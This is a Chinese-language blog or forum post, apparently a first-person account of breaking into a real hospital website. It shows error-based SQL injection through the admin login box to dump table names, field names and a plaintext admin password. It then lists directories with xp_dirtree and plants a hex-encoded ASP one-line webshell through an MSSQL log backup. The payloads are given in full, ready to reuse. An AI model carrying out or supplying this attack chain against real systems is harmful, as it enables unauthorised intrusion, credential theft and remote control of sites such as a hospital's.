后台登入框注入拿shell步骤
打开网站(网址就不发了,只讲过程),是一个医院的站点,看了下网站程序,是asp的,嘻嘻,asp的站日的比较多,对它有点亲切感,随便点了一个新闻链接,加上一个单引号,弹出了一个对话框<br /><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2145240.jpg" border="0" small="0" alt="" /></span><p align="left"><span><br />看来有点防范啊,为了确定是否是防注入系统,如果是的话,我们就可以试试cookie注入了,于是,我换个方法检测了下,就是<br /><font color="#4c7d08">http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65&MainBcgID=102-0</font><br />在数字后加上减0,回车,弹出相同的提示对话框,分别提交<br /><font color="#4c7d08">http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65-0&MainBcgID=102</font><br /><font color="#4c7d08">http://www.xxx.com/kssz.asp?BcgID=104-0&ThatBcgID=65&MainBcgID=102</font><br />都是相同的提示,看来是程序过滤了,非防注入。<br />然后我就打开Google,搜索了下带有asp?id=的链接,结果都是一样,那注入就没戏了。<br />接下来,俺就拿出自己写的扫描工具扫描了下常见上传点,也没有发现,看来,只能向后台输入框进军了哈。<br />在后台输入一个单引号,随便输入密码,回车,报错了,哈</span></p>
<p align="left"><span><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2145241.jpg" border="0" small="0" alt="" /><br /></span></span><span><br /></span></p>
<p align="left"><span>看来朋友说的没错,有戏啊,而且是mssql的,幸亏是mssql的,不然还拿不下呢(原因,后面会提到)<br />接着,按照常规步骤,开始注入了,但是俺是懒人,想偷点懒,于是抓包,想通过get方式来注入,这样可以让工具来代替人力啊,哈哈,</span></p>
<p align="left"><span><br /><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2145242.jpg" border="0" small="0" alt="" /></span></span></p>
<p align="left"></p>
<p align="left"><span><span>于是,组合下内容<br /><font color="#4c7d08">www.xxx.com/login/default.asp?Submit=%B5%C7+%C2%BC&Userpwd=1</font>& Username=1<br />可是老天就是不配合俺,这个方法在这里不行啊。哎,看来只能手工了,这个对俺来说相当痛苦了。<br />米办法,老实的一步一步来了。在输入框里输入’ having 1=1 and ‘’=’ 回车,报错</span></span></p>
<p align="left"><span><span><br /><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2145243.jpg" border="0" small="0" alt="" /><br /></span></span></span></p>
<p align="left"><span><span><span>嘻嘻,我得意的笑,这里,我们得到了表名和字段名,继续爆,输入’group by user_info.user_id having 1=1 and ‘’=’</span></span></span></p>
<p align="left"></p>
<p align="left"><span><span><span><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2145244.jpg" border="0" small="0" alt="" /><br /></span></span></span></span></p>
<p align="left"><span><span><span><span>爆出了user_name,继续爆,’group by user_info.user_id ,user_info.user_name having 1=1 and ‘’=’</span></span></span></span></p>
<p align="left"></p>
<p align="left"><span><span><span><span><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2145245.jpg" border="0" small="0" alt="" /></span></span></span></span></span></p>
<p align="left"><span><span><span><span><span>到这里就差不多了,我们要的关键字段都有了,表名也有了,该是爆内容了,输入</span></span></span></span></span></p>
<p align="left"><span><span><span><span><span>’and 1=(select user_name from user_info) and ‘’=’ 爆出了用户名</span></span></span></span></span></p>
<p align="left"></p>
<p align="left"><span><span><span><span><span><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2145246.jpg" border="0" small="0" alt="" /></span></span></span></span></span></span></p>
<p align="left"></p>
<p align="left"><span><span><span><span><span><span>然后用相同方法,输入’and 1=(select user_pwd from user_info) and ‘’=’ 爆出了密码,哈哈发现密码还是不加密的,那就更好了。<br />直接拿起密码进入后台<br /></span></span></span></span></span></span></p>
<p align="left"><span><span><span><span><span><span><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2145247.jpg" border="0" small="0" alt="" /></span></span></span></span></span></span></span></p>
<p align="left"></p>
<p align="left"><span><span><span><span><span><span><span>以为接下来就容易拿到shell了,随便找了一个上传点,试了下直接传,提示成功,哈哈,开心了,心道,今天rp不错的嘛,刚刚在手工那里费了点时间,现在刚刚补回来了,直接拿到shell了,于是拿着地址去打开,结果,当场吐血,为啥,因为上传路径的文件夹不让执行脚本啊</span></span></span></span></span></span></span></p>
<p align="left"><span><span><span><span><span><span><span><br /></span><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2145248.jpg" border="0" small="0" alt="" /></span></span></span></span></span></span></span></p>
<p align="left"></p>
<p align="left"><span><span><span><span><span><span><span>心里大骂这个管理员,shit,shit,shit他JJ,让老子白高兴一场。找了下其他图片的文件夹路径,都是一样,不让执行脚本。哎,苍天那,大地啊,你怎么可以这样对我啊。以为没办法那shell了,准备放弃了,和朋友一说,他说,是不是可以在后台进行差异备份拿shell呢,我一听,一拍大腿,对啊,MMB,我怎么没想到,哎,居然把后台的注入点是mssql这茬给忘了,鄙视下自己。<br />要差异备份首先要知道站点,哎,俺最头痛的手工又要开始了,话说到这里,插一句话,希望各位一定要好好学习sql哦,工具是死的,人是活的,手工厉害啊,虽然麻烦(观众:又开始装逼了,小心出门被雷劈啊…..我:哈哈,俺不怕,俺是绝缘体,没事没事…..忽然,天空一阵巨响,小影子被雷劈了。。。55555555,今天没看黄历啊)<br />开始猜路径了,过程是:建立一个表,通过xp_dirtree组件,把列出来的内容插入临时表,然后我们在一个一个把内容从临时表里读出来。<br />首先,我们建立一个表,输入’ create talbe tmp(id int identity(1,1),path varchar(255),depth int,isfile int ) and ‘’=’<br />然后,我们要确认下我们的表是否建立成功了,不然如果不成功的话,我们后面做的都是无用功了,哈。输入’ select * from tmp having 1=1 and ‘’=’,报错了,说明建表成功<br /></span></span></span></span></span></span></span></p>
<p align="left"><span><span><span><span><span><span><span><br /></span><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/2145249.jpg" border="0" small="0" alt="" /></span></span></span></span></span></span></span></p>
<p align="left"></p>
<p align="left"><span><span><span><span><span><span><span>接下来,就是插入内容了<br />‘insert into tmp exec master.dbo.xp_dirtree ‘d:\’,1,1 and ‘’=’ <br />接着,就可以列目录了,输入<br />‘ and 1=(select path from tmp where id=N) and ‘’=’ (N=1,2,3,4,5,……)<br />就列出了路径<br /></span></span></span></span></span></span></span></p>
<p align="left"><span><span><span><span><span><span><span><span><img class="blogimg" src="https://img.jbzj.com/do/uploads/allimg/110322/21452410.jpg" border="0" small="0" alt="" /></span></span></span></span></span></span></span></span></p>
<p align="left"></p>
<p align="left"><span><span><span><span><span><span><span><span>改变N的值就可以列出了,重复过程就不写了,最后知道路径是D:\website\xxx.com\<br />接下来就是进行差异备份了,在输入框输入一次输入差异备份语句<br />'alter database hz3yy set RECOVERY FULL--<br />'Drop table ;create table . ( )--<br />'declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to <font color="#4c7d08">disk=@s</font> with init--<br />'insert into banlg(cmd) values(0x3C256578656375746528726571756573742822636D64222929253E)--<br />'declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C776562736974655C687A3379792E636F6D5C772E617370 backup log @a to <font color="#4c7d08">disk=@s</font>--<br />'Drop table —<br /></span></span></span></span></span></span></span></span></p>
<p align="left"><span><span><span><span><span><span><span><span>然后输入网址,输入<font color="#4c7d08">http://www.xxx.com/ww.asp</font>,熟悉的乱码界面出现了,哈哈,然后就是传shell了,图就不截了,嘻嘻。</span></span></span></span></span></span></span></span></p>
頁:
[1]